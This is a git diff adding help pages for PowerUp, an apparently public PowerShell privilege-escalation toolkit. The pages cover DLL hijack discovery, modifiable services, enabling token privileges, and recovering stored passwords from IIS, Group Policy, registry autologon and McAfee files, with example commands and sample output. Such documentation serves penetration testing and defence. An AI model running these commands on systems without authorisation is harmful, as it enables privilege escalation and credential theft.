Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege SE_PRIVILEGE_ENABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege DISABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege DISABLED 2828 +SeIncreaseWorkingSetPrivilege DISABLED 2828 +SeTimeZonePrivilege DISABLED 2828 + + +Get-ProcessTokenPrivilege | Enable-Privilege -Verbose +VERBOSE: Attempting to enable SeShutdownPrivilege +VERBOSE: Attempting to enable SeChangeNotifyPrivilege +VERBOSE: Attempting to enable SeUndockPrivilege +VERBOSE: Attempting to enable SeIncreaseWorkingSetPrivilege +VERBOSE: Attempting to enable SeTimeZonePrivilege + +Get-ProcessTokenPrivilege + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege SE_PRIVILEGE_ENABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege SE_PRIVILEGE_ENABLED 2828 +SeIncreaseWorkingSetPrivilege SE_PRIVILEGE_ENABLED 2828 +SeTimeZonePrivilege SE_PRIVILEGE_ENABLED 2828 + +## PARAMETERS + +### -Privilege +{{Fill Privilege Description}} + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Privileges + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html](http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html) + diff --git a/docs/Privesc/Find-PathDLLHijack.md b/docs/Privesc/Find-PathDLLHijack.md new file mode 100755 index 00000000..f43fc692 --- /dev/null +++ b/docs/Privesc/Find-PathDLLHijack.md @@ -0,0 +1,45 @@ +# Find-PathDLLHijack + +## SYNOPSIS +Finds all directories in the system %PATH% that are modifiable by the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Find-PathDLLHijack +``` + +## DESCRIPTION +Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath +to return the folder paths the current user can write to. +On Windows 7, if wlbsctrl.dll is +written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search +order loading. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-PathDLLHijack +``` + +Finds all %PATH% .DLL hijacking opportunities. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL.Path + +## NOTES + +## RELATED LINKS + +[http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) + diff --git a/docs/Privesc/Find-ProcessDLLHijack.md b/docs/Privesc/Find-ProcessDLLHijack.md new file mode 100755 index 00000000..bbece58b --- /dev/null +++ b/docs/Privesc/Find-ProcessDLLHijack.md @@ -0,0 +1,127 @@ +# Find-ProcessDLLHijack + +## SYNOPSIS +Finds all DLL hijack locations for currently running processes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Find-ProcessDLLHijack [[-Name] ] [-ExcludeWindows] [-ExcludeProgramFiles] [-ExcludeOwned] +``` + +## DESCRIPTION +Enumerates all currently running processes with Get-Process (or accepts an +input process object from Get-Process) and enumerates the loaded modules for each. +All loaded module name exists outside of the process binary base path, as those +are DLL load-order hijack candidates. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-ProcessDLLHijack +``` + +Finds possible hijackable DLL locations for all processes. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Process VulnProcess | Find-ProcessDLLHijack +``` + +Finds possible hijackable DLL locations for the 'VulnProcess' processes. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles +``` + +Finds possible hijackable DLL locations not in C:\Windows\* and +not in C:\Program Files\* or C:\Program Files (x86)\* + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Find-ProcessDLLHijack -ExcludeOwned +``` + +Finds possible hijackable DLL location for processes not owned by the +current user. + +## PARAMETERS + +### -Name +The name of a process to enumerate for possible DLL path hijack opportunities. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ProcessName + +Required: False +Position: 1 +Default value: $(Get-Process | Select-Object -Expand Name) +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ExcludeWindows +Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeProgramFiles +Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeOwned +Exclude processes the current user owns. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL.Process + +## NOTES + +## RELATED LINKS + +[https://www.mandiant.com/blog/malware-persistence-windows-registry/](https://www.mandiant.com/blog/malware-persistence-windows-registry/) + diff --git a/docs/Privesc/Get-ApplicationHost.md b/docs/Privesc/Get-ApplicationHost.md new file mode 100755 index 00000000..44d07d70 --- /dev/null +++ b/docs/Privesc/Get-ApplicationHost.md @@ -0,0 +1,95 @@ +# Get-ApplicationHost + +## SYNOPSIS +Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. + +Author: Scott Sutherland +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ApplicationHost +``` + +## DESCRIPTION +This script will decrypt and recover application pool and virtual directory passwords +from the applicationHost.config file on the system. +The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Return application pool and virtual directory passwords from the applicationHost.config on the system. +``` + +Get-ApplicationHost + +user : PoolUser1 +pass : PoolParty1! +type : Application Pool +vdir : NA +apppool : ApplicationPool1 +user : PoolUser2 +pass : PoolParty2! +type : Application Pool +vdir : NA +apppool : ApplicationPool2 +user : VdirUser1 +pass : VdirPassword1! +type : Virtual Directory +vdir : site1/vdir1/ +apppool : NA +user : VdirUser2 +pass : VdirPassword2! +type : Virtual Directory +vdir : site2/ +apppool : NA + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Return a list of cleartext and decrypted connect strings from web.config files. +``` + +Get-ApplicationHost | Format-Table -Autosize + +user pass type vdir apppool +---- ---- ---- ---- ------- +PoolUser1 PoolParty1! +Application Pool NA ApplicationPool1 +PoolUser2 PoolParty2! +Application Pool NA ApplicationPool2 +VdirUser1 VdirPassword1! +Virtual Directory site1/vdir1/ NA +VdirUser2 VdirPassword2! +Virtual Directory site2/ NA + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Data.DataTable + +System.Boolean + +## NOTES +Author: Scott Sutherland - 2014, NetSPI +Version: Get-ApplicationHost v1.0 +Comments: Should work on IIS 6 and Above + +## RELATED LINKS + +[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx) + diff --git a/docs/Privesc/Get-CachedGPPPassword.md b/docs/Privesc/Get-CachedGPPPassword.md new file mode 100755 index 00000000..2169a150 --- /dev/null +++ b/docs/Privesc/Get-CachedGPPPassword.md @@ -0,0 +1,55 @@ +# Get-CachedGPPPassword + +## SYNOPSIS +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and +left in cached files on the host. + +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-CachedGPPPassword +``` + +## DESCRIPTION +Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and +datasources.xml files and returns plaintext passwords. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-CachedGPPPassword +``` + +NewName : \[BLANK\] +Changed : {2013-04-25 18:36:07} +Passwords : {Super!!!Password} +UserNames : {SuperSecretBackdoor} +File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html](http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html) + diff --git a/docs/Privesc/Get-ModifiablePath.md b/docs/Privesc/Get-ModifiablePath.md new file mode 100755 index 00000000..2a1118ff --- /dev/null +++ b/docs/Privesc/Get-ModifiablePath.md @@ -0,0 +1,102 @@ +# Get-ModifiablePath + +## SYNOPSIS +Parses a passed string containing multiple possible file/folder paths and returns +the file paths where the current user has modification rights. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ModifiablePath [-Path] [-Literal] +``` + +## DESCRIPTION +Takes a complex path specification of an initial file/folder path with possible +configuration files, 'tokenizes' the string in a number of possible ways, and +enumerates the ACLs for each path that currently exists on the system. +Any path that +the current user has modification rights on is returned in a custom object that contains +the modifiable path, associated permission set, and the IdentityReference with the specified +rights. +The SID of the current user and any group he/she are a part of are used as the +comparison set against the parsed path DACLs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +'"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath +``` + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Temp\blah.exe {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +C:\Temp\config.ini {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath +``` + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Vuln\blah.bat {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +C:\Vuln\config.ini {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +... + +## PARAMETERS + +### -Path +The string path to parse for modifiable files. +Required + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: FullName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Literal +Switch. +Treat all paths as literal (i.e. +don't do 'tokenization'). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: LiteralPaths + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenPrivilege.ModifiablePath + +Custom PSObject containing the Permissions, ModifiablePath, IdentityReference for +a modifiable path. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableRegistryAutoRun.md b/docs/Privesc/Get-ModifiableRegistryAutoRun.md new file mode 100755 index 00000000..23314f9d --- /dev/null +++ b/docs/Privesc/Get-ModifiableRegistryAutoRun.md @@ -0,0 +1,44 @@ +# Get-ModifiableRegistryAutoRun + +## SYNOPSIS +Returns any elevated system autoruns in which the current user can +modify part of the path string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableRegistryAutoRun +``` + +## DESCRIPTION +Enumerates a number of autorun specifications in HKLM and filters any +autoruns through Get-ModifiablePath, returning any file/config locations +in the found path strings that the current user can modify. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableRegistryAutoRun +``` + +Return vulneable autorun binaries (or associated configs). + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiableRegistryAutoRun + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableScheduledTaskFile.md b/docs/Privesc/Get-ModifiableScheduledTaskFile.md new file mode 100755 index 00000000..4e48cc43 --- /dev/null +++ b/docs/Privesc/Get-ModifiableScheduledTaskFile.md @@ -0,0 +1,45 @@ +# Get-ModifiableScheduledTaskFile + +## SYNOPSIS +Returns scheduled tasks where the current user can modify any file +in the associated task action string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableScheduledTaskFile +``` + +## DESCRIPTION +Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" +and parses the XML specification for each task, extracting the command triggers. +Each trigger string is filtered through Get-ModifiablePath, returning any file/config +locations in the found path strings that the current user can modify. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableScheduledTaskFile +``` + +Return scheduled tasks with modifiable command strings. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiableScheduledTaskFile + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableService.md b/docs/Privesc/Get-ModifiableService.md new file mode 100755 index 00000000..92eeb81b --- /dev/null +++ b/docs/Privesc/Get-ModifiableService.md @@ -0,0 +1,40 @@ +# Get-ModifiableService + +## SYNOPSIS +Enumerates all services and returns services for which the current user can modify the binPath. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail + +## SYNTAX + +``` +Get-ModifiableService +``` + +## DESCRIPTION +Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if +the current user has rights to change the service configuration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableService +``` + +Get a set of potentially exploitable services. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiablePath + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableServiceFile.md b/docs/Privesc/Get-ModifiableServiceFile.md new file mode 100755 index 00000000..ab01e42d --- /dev/null +++ b/docs/Privesc/Get-ModifiableServiceFile.md @@ -0,0 +1,45 @@ +# Get-ModifiableServiceFile + +## SYNOPSIS +Enumerates all services and returns vulnerable service files. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableServiceFile +``` + +## DESCRIPTION +Enumerates all services by querying the WMI win32_service class. +For each service, +it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine +if the current user has rights to modify the service binary itself or any associated +arguments. +If the associated binary (or any configuration files) can be overwritten, +privileges may be able to be escalated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableServiceFile +``` + +Get a set of potentially exploitable service binares/config files. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiablePath + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ProcessTokenGroup.md b/docs/Privesc/Get-ProcessTokenGroup.md new file mode 100755 index 00000000..e52533c7 --- /dev/null +++ b/docs/Privesc/Get-ProcessTokenGroup.md @@ -0,0 +1,114 @@ +# Get-ProcessTokenGroup + +## SYNOPSIS +Returns all SIDs that the current token context is a part of, whether they are disabled or not. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +## SYNTAX + +``` +Get-ProcessTokenGroup [[-Id] ] +``` + +## DESCRIPTION +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. +The token +is then passed to Get-TokenInformation to query the current token groups for the specified +token. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenGroup +``` + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 1372 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 1372 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-16-8192 1372 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Process notepad | Get-ProcessTokenGroup +``` + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 2640 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 2640 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-16-8192 2640 + +## PARAMETERS + +### -Id +The process ID to enumerate token groups for, otherwise defaults to the current process. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: ProcessID + +Required: False +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ProcessTokenPrivilege.md b/docs/Privesc/Get-ProcessTokenPrivilege.md new file mode 100755 index 00000000..9f835f2c --- /dev/null +++ b/docs/Privesc/Get-ProcessTokenPrivilege.md @@ -0,0 +1,131 @@ +# Get-ProcessTokenPrivilege + +## SYNOPSIS +Returns all privileges for the current (or specified) process ID. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +## SYNTAX + +``` +Get-ProcessTokenPrivilege [[-Id] ] [-Special] +``` + +## DESCRIPTION +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. +The token +is then passed to Get-TokenInformation to query the current privileges for the specified +token. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 2600 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2600 + SeUndockPrivilege DISABLED 2600 +SeIncreaseWorkingSetPrivilege DISABLED 2600 + SeTimeZonePrivilege DISABLED 2600 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ProcessTokenPrivilege -Special +``` + +Privilege Attributes ProcessId +--------- ---------- --------- +SeSecurityPrivilege DISABLED 2444 +SeTakeOwnershipPrivilege DISABLED 2444 +SeBackupPrivilege DISABLED 2444 +SeRestorePrivilege DISABLED 2444 +SeSystemEnvironmentPriv... +DISABLED 2444 +SeImpersonatePrivilege ...T, SE_PRIVILEGE_ENABLED 2444 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-Process notepad | Get-ProcessTokenPrivilege | fl +``` + +Privilege : SeShutdownPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeChangeNotifyPrivilege +Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +ProcessId : 2640 + +Privilege : SeUndockPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeIncreaseWorkingSetPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeTimeZonePrivilege +Attributes : DISABLED +ProcessId : 2640 + +## PARAMETERS + +### -Id +The process ID to enumerate token groups for, otherwise defaults to the current process. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: ProcessID + +Required: False +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Special +Switch. +Only return 'special' privileges, meaning admin-level privileges. +These include SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, +SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeTcbPrivilege. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Privileged + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-RegistryAlwaysInstallElevated.md b/docs/Privesc/Get-RegistryAlwaysInstallElevated.md new file mode 100755 index 00000000..ff48afc8 --- /dev/null +++ b/docs/Privesc/Get-RegistryAlwaysInstallElevated.md @@ -0,0 +1,45 @@ +# Get-RegistryAlwaysInstallElevated + +## SYNOPSIS +Checks if any of the AlwaysInstallElevated registry keys are set. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-RegistryAlwaysInstallElevated +``` + +## DESCRIPTION +Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated +or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys +are set, $False otherwise. +If one of these keys are set, then all .MSI files run with +elevated permissions, regardless of current user permissions. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegistryAlwaysInstallElevated +``` + +Returns $True if any of the AlwaysInstallElevated registry keys are set. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Boolean + +$True if RegistryAlwaysInstallElevated is set, $False otherwise. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-RegistryAutoLogon.md b/docs/Privesc/Get-RegistryAutoLogon.md new file mode 100755 index 00000000..b93e75ca --- /dev/null +++ b/docs/Privesc/Get-RegistryAutoLogon.md @@ -0,0 +1,44 @@ +# Get-RegistryAutoLogon + +## SYNOPSIS +Finds any autologon credentials left in the registry. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-RegistryAutoLogon +``` + +## DESCRIPTION +Checks if any autologon accounts/credentials are set in a number of registry locations. +If they are, the credentials are extracted and returned as a custom PSObject. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegistryAutoLogon +``` + +Finds any autologon credentials left in the registry. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.RegistryAutoLogon + +Custom PSObject containing autologin credentials found in the registry. + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb) + diff --git a/docs/Privesc/Get-ServiceDetail.md b/docs/Privesc/Get-ServiceDetail.md new file mode 100755 index 00000000..ac758b01 --- /dev/null +++ b/docs/Privesc/Get-ServiceDetail.md @@ -0,0 +1,65 @@ +# Get-ServiceDetail + +## SYNOPSIS +Returns detailed information about a specified service by querying the +WMI win32_service class for the specified service name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ServiceDetail [-Name] +``` + +## DESCRIPTION +Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on +the pipeline object returned by Get-Service, extracts out the service name, queries the +WMI win32_service class for the specified service for details like binPath, and outputs +everything. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ServiceDetail -Name VulnSVC +``` + +Gets detailed information about the 'VulnSVC' service. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Get-ServiceDetail +``` + +Gets detailed information about the 'VulnSVC' service. + +## PARAMETERS + +### -Name +An array of one or more service names to query information for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.ManagementObject + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-SiteListPassword.md b/docs/Privesc/Get-SiteListPassword.md new file mode 100755 index 00000000..1ebbb5b2 --- /dev/null +++ b/docs/Privesc/Get-SiteListPassword.md @@ -0,0 +1,96 @@ +# Get-SiteListPassword + +## SYNOPSIS +Retrieves the plaintext passwords for found McAfee's SiteList.xml files. +Based on Jerome Nokin (@funoverip)'s Python solution (in links). + +Author: Jerome Nokin (@funoverip) +PowerShell Port: @harmj0y +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-SiteListPassword [[-Path] ] +``` + +## DESCRIPTION +Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, +C:\Documents and Settings\, or C:\Users\. +For any files found, the appropriate +credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword +function that takes advantage of McAfee's static key encryption. +Any decrypted credentials +are output in custom objects. +See links for more information. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-SiteListPassword +``` + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : +Path : Products/CommonUpdater +Name : McAfeeHttp +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : +Server : update.nai.com:80 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Paris +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : paris001 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Tokyo +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : tokyo000 + +## PARAMETERS + +### -Path +Optional path to a SiteList.xml file or folder. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.SiteListPassword + +## NOTES + +## 